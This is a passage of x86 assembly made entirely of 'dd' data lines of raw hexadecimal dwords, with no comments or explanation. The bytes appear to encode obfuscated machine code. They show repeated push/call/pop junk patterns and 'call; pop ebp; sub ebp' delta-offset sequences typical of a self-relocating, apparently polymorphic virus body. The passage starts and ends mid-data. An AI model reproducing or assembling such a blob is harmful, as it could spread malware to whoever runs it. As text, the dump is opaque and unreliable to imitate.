89609050h, 7051DBDh, 0AD8D2906h, 61060728h dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 8B9500C3h, 0FF747E22h, 0FE86014h, 0D0000000h dd 5785AA7Ch, 0D27244AEh, 56AD435Bh, 9589BD5Ch, 6070C45h dd 11B58958h, 6106070Dh, 6A006Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 1B2E85C3h, 1FE1B16h dd 0C9852908h, 8D06070Ch, 0AD1F985h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 65B58B19h dd 9060731h, 7012585h, 97BE6606h, 5C08334h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 8CC35545h, 53100136h dd 5090D05Ah, 6A006A90h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 80B1C356h, 6A006ADCh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 0C907C351h, 239C8324h, 0A252B9F3h, 6860Fh dd 8D890000h, 6072711h, 133595FFh, 85890607h, 6070369h dd 74EDE2BEh, 9D9D8D1Ch, 6A060A93h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0E923C357h dd 14h, 955D69D5h, 0DA1BF246h, 2554F1C7h, 0D16931BCh, 0C3E66212h dd 6AD3FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 5D639FC3h, 41F204D7h, 0B58B3D5Dh, 6070591h dd 0CF58529h, 85FF0607h, 6072C89h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 28C35545h, 0FFE9F894h, 0E8000008h dd 0 dd 3ED815Dh, 6A060AD2h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 0E2A2C350h, 0BD2F8365h dd 0AADE8190h, 813CAADFh, 71815BDh, 7D006h, 81860F00h dd 0F000001h, 9D8BF0BFh, 6070379h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 0E8C35242h, 0B6A6D43Ah, 3571D8FAh dd 0CE8166EDh, 0B58B65F1h, 6070581h, 100E381h, 8E80000h dd 0A2000000h, 449B2E05h, 29E7A109h, 7271D85h, 0DB0B5E06h dd 8E850Fh, 66510000h, 5E2239BEh, 0CFBEBD83h, 0F00060Ah dd 2D84h, 0E4BE6000h, 0E84B5075h, 10h, 2FEDAA74h, 0CAC64CC7h dd 0BBBE3Ah, 5CFEDCB7h, 0C9EA8166h, 0E96158E4h, 0A2h, 0EA5B58Bh dd 85C70607h, 60ACFBEh, 1, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 0E0C35747h, 1E860064h, 20599589h, 67E90607h dd 0F000000h, 1381h, 0EE900h, 0CBE90000h, 9A96AA6Fh, 601A085Dh dd 9CF564F3h, 0CFBE85C7h, 60Ah, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 8949F5C3h dd 60C912CEh, 1E45958Bh, 858B0607h, 607169Dh, 0FE9F861h dd 5C000000h, 0B6EF30C1h, 0D89BA281h, 94953B28h, 9D8D3F90h dd 6070379h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 83C35242h, 0B4F4AC50h, 0F541DAC5h, 2C798501h, 9E90607h dd 0BC000000h, 952B7136h, 4CE56A84h, 0FEFF2381h, 0B58BFFFFh dd 6071331h, 6ADB8C66h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 0ECDCC352h, 0F52700CBh dd 1279B52Bh, 0C3F60607h, 69840F04h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 95A0C351h, 8608892Bh, 0F5F1B70Fh, 186195FFh, 0F78B0607h dd 0C8A0F50h, 0E8000000h, 6, 505A3E0h, 895E7A37h, 6A2404h dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 0D06364C3h, 667DEA3Fh, 0D529D681h, 37DE9h, 3DB58B00h dd 0B0060706h, 8170E600h, 0EB3FA2C6h, 0E971E44Dh, 0Bh dd 0FCBE151Ch, 0C50234Bh, 0FA97FF6h, 6AD8B6h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 4ACE31C3h dd 6755DCE4h, 66A5E3D9h, 0BACC17BEh, 6, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Ch, 51C35141h, 746F352Bh dd 96FED67Eh, 0F5858B60h, 6106070Bh, 38C0Fh, 8B660000h dd 89C38BF0h, 71E69B5h, 0AE8BBE06h, 0E8C12D1Eh, 55006A04h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 2904E432h, 0F38B0916h, 0BE9h, 0F31C3400h, 0EA7025E0h dd 0A539AFA8h, 6AE2F766h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 0DDA3C357h, 0FA7EB0E8h dd 0C68166D0h, 0D82B3EAAh, 0BABA03BEh, 0BE66930Dh, 50508A3Bh dd 61605652h, 5A310F5Eh, 0B58B9358h, 6072FE9h, 1815B5FFh dd 8A0F0607h, 12h, 6E8h, 0C973E900h, 8BC58AB8h, 71A55B5h dd 95FF5E06h, 6071B69h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 91C35747h, 0C40B3646h, 81668CABh, 0B0D92CF6h dd 65BD8900h, 0E606071Dh, 53006A70h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 6BE4B718h dd 0C53638C7h, 6A71E434h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 0F0CFC352h, 830F06h dd 1000000h, 71DFDB5h, 0F613C06h, 1BD83h, 958B6000h, 6071171h dd 61CBB70Fh, 0D1DB58Bh, 0B60F0607h, 53006AD8h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 6BA46h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 63A9E8C3h, 0F4191B87h, 2F59B503h, 0C38B0607h, 6A04E8C1h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 9A7EC350h, 0F9E6B835h, 665FF120h, 0CCBEE2F7h dd 66547A47h, 0D82BF28Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 72C35141h, 99B498EFh, 0E89FAC09h, 7 dd 8E92DC2Bh, 5E5F4E4Dh, 0CE816658h, 0D82BDC91h, 0EC880Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 7D9B0DC3h, 0B9F08B66h, 7, 8B00C183h, 71C35B5h dd 0FD93B06h, 0B586h, 665E5600h, 6AD98Ch, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 8B4DE4C3h dd 4C1F6F2h, 84840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 0FD3581C3h, 86683C47h dd 51BD29B6h, 0FF060711h, 7186195h, 9D950106h, 5B06072Ch dd 0BEC32BF8h, 7CF4ACD3h, 8343Dh, 3B860F00h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 52B9C352h, 0EE94EA2h, 54000000h, 0EE3AC4Dh dd 6A1327BEh, 0A728CBAh, 8E9F8h, 0BE660000h, 0C08B749Dh dd 0C38BF28Bh, 8150D88Bh, 0B28E17D6h, 85C75E51h, 60719EDh dd 5B6CEB99h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 22C35141h, 860FC08Bh, 3, 81F6B70Fh, 71815BDh, 7D006h dd 38850F00h, 60000000h, 41B58BF5h, 61060727h, 181585FFh dd 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 6021CFC3h, 2F2DB58Bh, 0BB660607h, 0FF61A325h dd 71815B5h, 0D9B52306h, 0FF06071Bh, 71B6995h, 0E1BD0906h dd 9006070Ch, 46BED88Bh, 8334C67Bh, 70129BDh, 840F0006h dd 31h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h dd 0D4C35747h, 81F2B25Fh, 0D2E3C8D6h, 1DE9F92Dh, 8B000002h dd 71771B5h, 8BDF8C06h, 704D5B5h, 0C7F76606h, 850F0004h dd 204h, 2E6D8D31h, 0FF2B0607h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 81C35242h, 89F7B70Fh, 7176195h dd 709D8D06h, 89060ADAh, 733499Dh, 5E85006h, 6E000000h dd 0CA40A000h, 830Fh, 895E0000h, 830F241Ch, 1, 0EDB58BF8h dd 64060726h, 35FFh, 81660000h, 6487C7E6h, 2589h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 0DF4FA1C3h, 0CB52D855h, 85B58BFEh, 8B06071Ah, 128F0FC4h dd 0E9000000h, 0Dh, 80008EEFh, 0D4936355h, 0B05BE999h dd 0EB01CD2Bh, 3DB50100h, 6A06071Bh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 66AAC356h dd 64F80BBEh, 58Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 2B2286C3h, 870Fh, 0C4830000h dd 0E6816604h, 0C00B3BE0h, 0EE840Fh, 64BE0000h, 8D34E44Fh dd 74B4ABDh, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 74E5A2B3h dd 5B8EE7Ch, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 3A66C355h, 2B6066A2h dd 715618Dh, 0E7FF6106h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 46C35141h, 3E21F040h, 2B294801h, 717ADB5h dd 5C8B5706h, 838B1024h, 0B8h, 140B60Fh, 8389C8FEh, 0B0h dd 0B88383h, 5F020000h, 6AC3C033h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 7241C356h dd 3A5B523h, 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 890977C3h, 718F18Dh, 0F7BF0F06h dd 1CE9CA2Bh, 9FFFFF7h, 7148D9Dh, 65858906h, 0E9060706h dd 5, 9B438974h, 0EFBCBE1Bh, 0C18B6FF1h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 14h, 0F1C35040h, 2BF3BF0Fh dd 711FDB5h, 4EB06h, 0F9000000h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 3BC35343h, 53DF1DCAh, 4338BEBBh dd 11E806C5h, 0F5000000h, 6842D954h, 86C80F5Ch, 74459816h dd 0E735331Ch, 1E058531h, 8D5E0607h, 72C6185h, 25B53306h dd 8B06071Ch, 72171BDh, 60609006h, 0D98AF18Bh, 52506061h dd 585A310Fh, 61C78B66h, 6E95061h, 0EC000000h, 0EC8DECFEh dd 6A900Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 2BFC87C3h, 72FA5B5h, 8B006A06h, 73269B5h dd 6A006A06h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 0AD68C353h, 0E58AD81Dh, 858D3BACh dd 60ADD27h, 3305C083h, 71B51B5h, 52509006h, 38F0Fh, 8B660000h dd 0E8310FFAh, 7, 182295D1h, 0E9911B7Fh, 11h, 0E8058C43h dd 0BDEC4E88h, 0D9BC0D1Fh, 8304169Ah, 585A5EBCh, 6A9050h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 11551EC3h, 0F28BF98Bh, 6A006Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 49B5D3C3h, 8EE25549h dd 0BEBE7B1Dh, 89465B0Fh, 717858Dh, 6A006A06h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 22A7C351h, 89680A82h, 7069D8Dh, 1B73BF06h, 95FF5347h dd 6071335h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 0EDC35545h, 332C6762h, 71B3DBDh, 9D9D8D06h, 6A060A93h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 3CBDC356h, 0D4DB763Eh, 0E041D781h, 0D3FF4383h dd 0EADB58Bh, 85FF0607h, 6072C89h, 1A31BD01h, 95890607h dd 6071645h, 823E9h, 0E800h, 815D0000h, 0ADD31EDh, 148D0F06h dd 0E9000000h, 0Fh, 0B10326E9h, 0ABB93A57h, 67D87023h dd 810B38E2h, 71815BDh, 7D006h, 8E860F00h, 6A000001h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 737CC353h, 0BC85F781h, 0BD0114E3h, 6072669h, 2CD59D8Bh dd 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 945C1FC3h, 49912999h, 0E381B60Dh, 100h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0FEC35242h, 851C6643h dd 0FDB0B29h, 0AA85h, 0DE800h, 4450000h, 43AD9E68h, 8E7539DFh dd 8B0114EEh, 0BD835EF0h, 60ADB26h, 2F840F00h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 3F0EC353h, 91E958h, 66600000h, 29C856BAh dd 70AA995h, 85C76106h, 60ADB26h, 1, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 7FC35141h, 0F88BE6E1h, 270D781h dd 50E95FC7h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 3426C351h, 80B9A0Ch dd 0C78E35E8h, 0ADB2685h, 6, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0B5958971h dd 8D060719h, 72CD59Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 2244DEE8h, 8B667F71h dd 0FF2381FEh, 8BFFFFFEh, 71DB9B5h, 0DB8C6606h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0A6C35545h, 0E9D982CBh dd 8, 0DBF7666Ch, 63EED7A7h, 0F04C3F6h, 5284h, 37D68100h dd 0FF7CB330h, 7186195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 870F50BDh, 12h, 0C800Fh dd 7E90000h, 14000000h, 80DECCF5h, 4895883h, 9E924h, 0DAC50000h dd 0D377F541h, 0E9C65DA0h, 3ACh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 48C35040h, 0D68166F3h, 0B0B929h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 19C35141h dd 34F8C2D3h, 70E66C6Eh, 71F7BF66h, 850171E4h, 6070A29h dd 0FF1B70Fh, 6AD8B6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 0E02CFDC3h, 9161F2E4h, 0BF0F95B1h dd 6BAF2h, 0CE90000h, 20000000h, 0C64F92CFh, 945D4E1Bh dd 8BE46398h, 0C58589C3h, 0E9060704h, 10h, 98D1CF35h, 45E053F6h dd 2C067C4Ch, 91817703h, 0F04E8C1h, 0CF81F2B7h, 364CEB35h dd 89E2F766h, 71031BDh, 6AD82B06h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0B813C351h dd 1418D89h, 60500607h, 0CE8h, 0E0493A00h, 0BADFEEDBh dd 0A8D9CA2Fh, 0F5250F4h, 5B585A31h, 61D38B66h, 89241C89h dd 72F658Dh, 15B5FF06h, 6A060718h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 94CBC353h dd 68151E3Eh, 319C04E9h, 70C5195h, 0F1B58B06h, 0FF06071Fh dd 71B6995h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 11584358h, 0BE83698h, 84000000h dd 0D151686Dh, 1BC1C92Ah, 0D68122C3h, 6A82DF78h, 91BD895Fh dd 0B0060717h, 9B50900h, 0E6060716h, 57006A70h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0F5E5356h dd 188h, 71E4F800h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 58C35747h, 0BE660E34h, 613C7B8Eh, 1C2830Fh dd 0B70F0000h, 198529F0h, 0F060721h, 6BAD8B6h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 8BB1C351h, 0BD8B412Eh, 6070CC1h, 9F78B66h dd 71A41B5h, 9C38B06h, 704459Dh, 4E8C106h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 4C35545h, 0DAE57026h dd 0C6816661h, 0BD89B53Eh, 6070A3Dh, 3E2F766h, 703FDBDh dd 0FD82B06h, 58FCF6B7h, 2BF88B66h, 31880FD8h, 66000001h dd 7B9F08Bh, 56000000h dd 9E860h, 0CCAB0000h, 0F3FE7DB4h, 58A1232Ah, 6181DD80h dd 0C1835Eh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 43C35141h, 0F98B66F9h, 860FD93Bh, 0E8h, 8E9h, 95138800h dd 8CE5AA5Ch, 0D98C6607h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 92C35242h, 0C1F68C68h, 95840F04h, 89000000h dd 715A98Dh, 6195FF06h, 89060718h, 70F7985h, 6A5B06h, 3E850h dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 62C9EDC3h, 9589AC2Bh, 60726B1h, 0CD958960h, 6606070Ah dd 61603CBAh, 6AC32Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 0A4742DC3h, 0D1F4377Fh, 68D0F77h dd 89000000h, 73171BDh, 8343D06h, 860F0000h, 14h, 148D9529h dd 0B5330607h, 6070391h, 1FE9h, 0F7BF0F00h, 0E856C08Bh dd 11h, 0B4AE078Eh, 0E4BECD47h, 4E86B0C0h, 0D3D7B2A2h dd 5F5EF880h, 0D88BC38Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 8EC35242h, 0E68112B6h, 0F88B6660h, 37985C7h dd 0EB9F0607h, 8D891C3Dh, 60719FDh, 6AC08Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 948130C3h dd 2364116Ch, 15BD81BBh, 0D0060718h, 0F000007h, 2C85h dd 45B58B00h, 0FF060716h, 7181585h, 12E806h, 5F8C0000h dd 0EC887FAh, 63DE4155h, 448C5452h, 0C2A3E728h, 5EFB8B66h dd 0D5DF8166h, 15B5FF73h, 6A060718h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 81EBC351h dd 0ACA2DEDFh, 6995FF1Dh, 6A06071Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 5EC8C352h dd 94DB3696h, 0B50B804Eh, 6071AD1h, 0FB8B6690h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0E9C35040h, 24850FBDh dd 60000000h, 37D9589h, 8B660607h, 0FAB70FFEh, 11E961h dd 29B0000h, 45C334BBh, 0D01E934Dh, 5426B0A0h, 8B672370h dd 70691BDh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 9D0160D8h, 6071C55h, 2D6DB529h, 6A610607h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 3810C351h, 0E892F649h, 12h, 31CF959Ch, 76BE4F1Ah dd 0C2FCE75Bh, 0F235F4BBh, 0B5897528h, 6072949h, 305DBD8Bh dd 0E85E0607h, 0Eh, 0DE1E1915h, 9A3DD322h, 48F0B132h, 5E56AC4Eh dd 0C8F0Fh, 0B58B0000h, 6071BA1h, 870Fh, 6A5F0000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 0EF7DC356h, 66FAB70Fh, 0E91082BFh, 0FFFFF801h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0FC35343h, 0FF2EA1DEh dd 51BCC56Eh, 10E9C18Bh, 0C8000000h, 0A1E83462h, 0D73FB310h dd 0FD411276h, 0F23A6FBh, 4EBF8B7h, 0 dd 2949B533h, 858D0607h, 6072C61h, 2DD024BFh, 8B0F5037h dd 2, 4895F52h, 50006A24h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 0F948318Dh, 6AA3A2h, 1C71B509h dd 6A0607h, 6E5BD2Bh, 858D0607h, 60AE70Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 62C35747h, 0E304F663h dd 1A48BC66h, 318D8920h, 81060721h, 29849BF7h, 5C0831Dh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0C3C35747h dd 218D0BE5h, 1419589h, 0BD330607h, 6072E79h, 5E950h, 6BD30000h dd 8910DFE4h, 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 6F9890C3h, 66721791h, 10E4E781h dd 14870Fh, 8E0F0000h, 0Eh, 9E9h, 36D6A600h, 0A815DE1Bh dd 6A8240h, 549BD8Bh, 6A0607h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 20C35242h, 0D120993Dh, 2195890Bh dd 0FF06070Eh, 7133595h, 958D8906h, 8D060712h, 0A939D9Dh dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 0B83A747Bh, 971D92E5h, 85FFD3FFh, 6072C89h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 28C35545h dd 14978CD5h, 0B5294858h, 6072655h, 411BD8Bh, 0ACE90607h dd 0E8000007h, 0 dd 17ED815Dh, 81060AE7h, 71815BDh, 7D006h, 14860F00h, 23000001h dd 70B05B5h, 3D9D8B06h, 6A060701h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 7334C356h dd 816672AAh, 0FC1610C7h, 100E381h, 0B5310000h, 6070339h dd 850FDB0Bh, 6Fh, 0AE1BD2Bh, 0BD830607h, 60AE56Bh, 39840F00h dd 1000000h, 7144195h, 7DE906h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8BD587C3h dd 8850FF2h, 56000000h, 8C0Fh, 0F95F0000h, 0E56B85C7h dd 1060Ah, 0BD310000h, 6071C25h, 5E9h, 0C5961F00h, 30E9FBD4h dd 66000000h, 0C7D138BEh, 0AE56B85h, 6, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 81B58BA4h, 8D06071Eh, 7013D9Dh, 0DA4BE06h, 23817504h dd 0FFFFFEFFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 62C35141h, 0A19529C1h, 6606070Ah, 6ADB8Ch, 3E850h dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 1A92D0C3h, 0BD8B9E62h, 6072E3Dh, 0F04C3F6h, 7F84h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0A301BB45h, 0CE85EB34h, 8B66FE8Bh, 6195FFF8h, 6A060718h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 5DACC356h, 718E4E7Ah, 2EA4293h, 0C19529h dd 50900607h, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 0F460C5DAh, 0DABB2858h, 372E9h, 5EF55300h dd 6A00B0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0E9B68BC3h, 0Fh, 0BE00ECE3h, 8A23C21h, 40130599h dd 0E6266007h, 71E4F570h, 20F5B58Bh, 0B60F0607h, 68F0FD8h dd 89000000h, 72E49BDh, 6BA06h, 85890000h, 607030Dh, 6AC38Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 341793C3h, 6A04E8C1h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 0A13AC350h, 0BF6654B2h dd 0F766FAACh, 56006AE2h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 0BD4BA613h, 6810FF9h dd 31000000h, 7149D8Dh, 6AD82B06h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 3704C350h dd 0CC146BE3h, 8BF77DAFh, 858960F7h, 6071B85h, 28D0Fh dd 59560000h, 830F5061h, 4, 0AB7FBF66h, 23241C89h, 70F91B5h dd 15B5FF06h, 6A060718h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 6ABAC356h, 7CFBB5Bh dd 60386A99h, 0FF61DA8Bh, 71B6995h, 0BE806h, 807C0000h dd 1B53BFF1h, 0B6D34D05h, 0B05E0Dh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 53C35141h, 93E758C9h, 9B58978h dd 0E6060700h, 0FDB58B70h, 0E406072Fh, 8DBD8B71h, 3C060731h dd 0D0830F61h, 6A000001h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 6865C356h, 0BB19589h dd 0F38B0607h, 8BD8B60Fh, 70125BDh, 6BA06h, 0C38B0000h dd 30A98509h, 0E8C10607h, 10BF6604h, 0E2F76630h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0E6C35141h, 0B58B42CBh dd 6071FC5h, 0B58BD82Bh, 60721B5h, 0E8C0F58h, 60000000h dd 4619589h, 95890607h, 6071995h, 0FD82B61h, 14288h, 89BD8B00h dd 0B9060712h, 7, 6A00C183h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 0C758C350h, 744CDDDFh dd 0C42A9AC5h, 83F68166h, 150CBE8Fh, 0D93B516Ch, 0FD860Fh dd 9D010000h, 6071969h, 42DBD8Bh, 8C660607h, 53006AD9h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 97312284h, 0C1F63C23h, 9F840F04h, 29000000h, 70E219Dh dd 6195FF06h, 6A060718h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0A251C351h, 2D39BD8Bh dd 81660607h, 5BDFE9CEh, 2F7DB533h, 8E90607h, 8B000000h dd 90737A60h, 2BE28784h, 3DF88BC3h, 834h, 48860Fh, 0E7810000h dd 1797CCD7h, 62E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 0F255D9A1h, 7777C908h dd 8D0F37E5h, 12h, 6E8h, 0EDC5D900h, 89D6D9D0h, 715718Dh dd 0C08B5E06h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 2EC35747h, 599589FFh, 8B060700h, 6AD88BC3h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 6EDC351h, 1821BD8Bh, 85C70607h, 6072CD5h, 513D291Bh dd 0A22D681h, 0C08B768Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 6C35545h, 0E5131816h, 1815BD81h, 7D00607h dd 850F0000h, 59h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 48C35343h, 3E7FD5EDh, 0B1E5A157h, 0F28B6681h dd 181585FFh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 184759C3h, 0D698B16Ah, 23563420h dd 71051BDh, 15B5FF06h, 6A060718h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 1B33C355h dd 0CE816625h, 95FFBD55h, 6071B69h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 92C35646h, 0F98BF11Ch, 50006A90h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 56006A6Ah, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 6E14BD4Bh, 0F862340Ch, 0B11BD8Bh, 8D090607h dd 6072029h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 8AC35242h, 400E4DCEh, 81216A68h, 0DE6509CFh, 20BE6600h dd 5E839h, 1D990000h, 31F653ACh, 70BA585h, 0BD8B5E06h dd 60720BDh, 0EA5BD8Bh, 6A0607h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 0B1D5D7C3h, 7AF66191h dd 0BE8h, 0DC483E00h, 0D76E6199h, 9337349Fh, 1465BD8Bh dd 0BD890607h, 60719D1h, 0C58D895Eh, 6A060711h, 3E85000h dd 20000000h, 8958C358h, 